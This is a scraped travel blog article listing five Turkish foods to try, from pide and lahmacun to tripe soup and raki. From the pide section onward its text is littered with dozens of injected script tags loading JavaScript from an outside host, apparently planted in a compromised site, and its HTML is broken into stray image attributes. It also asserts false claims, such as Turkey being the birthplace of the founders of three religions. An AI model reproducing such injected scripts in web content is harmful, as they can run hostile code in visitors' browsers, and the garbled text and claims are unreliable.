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5 Foods to Try in Turkey

by Vago Damitio

global feast

I love Istanbul. It’s big, it’s ancient, it’s filled with people from all over the world. But most of all, it’s delicious. Like the city, the food of Istanbul is a mix of the large, the old, the international and, well, the delicious.

You could also say it’s the centre of the world. After all, Turkey was the birthplace of the founder of Judaism, Christianity and Islam. It was the greater part of Alexander the Great’s Empire, it was the Eastern Roman Empire and it controlled Egypt, the Middle East and North Africa as part of the Ottoman Empire. The Western part of Turkey is in Europe, the Eastern part of Turkey is in Asia. And if you’re looking for a world cuisine, go no further than Istanbul.

To give you a taste, here are five dishes you must try if you’re after true Turkish cuisine.

1. Pide

Italy may be the birthplace of pizza, but when you go to Turkey you get something more magical: pide. Cooked in wood-fired brick ovens and served on long wooden planks, pide is essentially a large pizza stretched out until it is more than a metre long and a hand wide.

This is the ultimate Turkish fast food and it’s a great place to start when you want to eat Turkey with all the trimmings. Pide isn’t the real Turkish pizza, though; that distinction belongs to lahmahcun.

pide, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Turkey cuisine” title=”pide-Turkey-cuisine” width=”630″ height=”472″ class=”aligncenter size-medium wp-image-26920″ /></a></p>
<h5>2. Lahmacun</h5>
<p><em>Lahmacun</em> is a thin, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> oval-shaped Turkish pizza on a very thin pita crust. You can get a cheese <em>lahmacun</em> or the traditional, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> which is finely chopped meat and herbs baked until crispy. </p>
<p>To eat it in the true traditional style, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> squeeze a bit of lemon on it, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> put a small bunch of parsley or sorrel on it, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and then sprinkle it with <em>sumac</em>. North Americans invariably ask, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> “Isn’t that poison?” and while there is indeed a poison sumac (similar to poison ivy) the Turkish version is a slightly sour purple condiment that goes perfect with <em>lahmacun</em>. Now, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> just roll your <em>lahmacun</em> up and eat it like a burrito. </p>
<p><a href=lahmacun, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Turkish pizza” title=”lahmacun-Turkish-pizza” width=”630″ height=”421″ class=”aligncenter size-medium wp-image-26924″ /></a></p>
<h5>3. Dolmades</h5>
<p>This next is a statement that can cause some controversy. Turkish home food is very similar to Greek home food. The controversy comes because any Turk will twist that statement on its head and say that Greek home food is like Turkish home food. I sat in a cafe on Kos and watched a Turkish man try to order a Turkish coffee and refuse the Greek coffee that the Greek waiter kept offering him—was it possible that only I knew they are exactly the same thing? </p>
<p>Stuffed grape leaves: <em>dolmates</em> in Greek, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <em>dolmades</em> in Turkish. I took a cooking class in Istanbul recently. A New Yorker in the class learned that we were going to be making stuffed grape leaves and said to me behind her hand, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> “I thought this was a Turkish cooking class, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> not a Greek one.” The truth is more complex. <em>Dolma</em> means stuffed in Turkish but has no meaning in Greek. As one Turkish pundit put it, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> “in Greek, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <em>dolmates</em> means ‘stolen’.”</p>
<p><a href=dolmades

4. Iskembe chorbasi

One of my favourite reactions was when an older English lady was eating a bowl of iskembe chorbasi (chorba, by the way, is a generic word for soup in Turkish, though it is often used to describe a minestrone-type soup—which makes sense when you realize that shorba is an Arabic word that is used to describe a minestrone-like soup.)

The English lady was obviously enjoying her chorba and asked me what it was made from. The name iskembe is derived from a Persian word—shikamba. Shikamba and iskembe both mean tripe. Tripe soup. When I told her, she wouldn’t eat any more despite her earlier enjoyment. “I won’t eat cow stomach, ” she said. “Even if it is delicious.”

tripe soup

5. Raki

For Turks, iskembe is the perfect cure after a night of hard drinking. Hard drinking usually involves drinking raki, the Turkish national liquor and an anise-flavoured hard liquor that typically is served with fish. For Turks, the word fish always goes with raki. So, raki balik, liquor and fish. My kind of country.

raki, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Turkish liquor” title=”raki-Turkish-liquor” width=”630″ height=”488″ class=”aligncenter size-medium wp-image-26923″ /></a></p>
<p>In a way—with the drinking, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> the fishing and the tripe—Turks are a lot like North Americans. If you don’t believe me, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> you can look at one of the most famous of the Ottoman palace foods: a quail cooked inside of a chicken, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> cooked inside of a duck, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> cooked inside of a peacock. The North American version is a chicken inside a duck inside a turkey, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> and suitably called Turkdukin. I’ve no idea what the Ottoman/Turkish version is called, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> but one thing you can be sure of is that it’s going to be delicious.</p>
<h5>Come dine with us! We’re celebrating the harvest this month on Travel+Escape with a special series, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <a href=CULINARY TRAVEL: GLOBAL FEAST!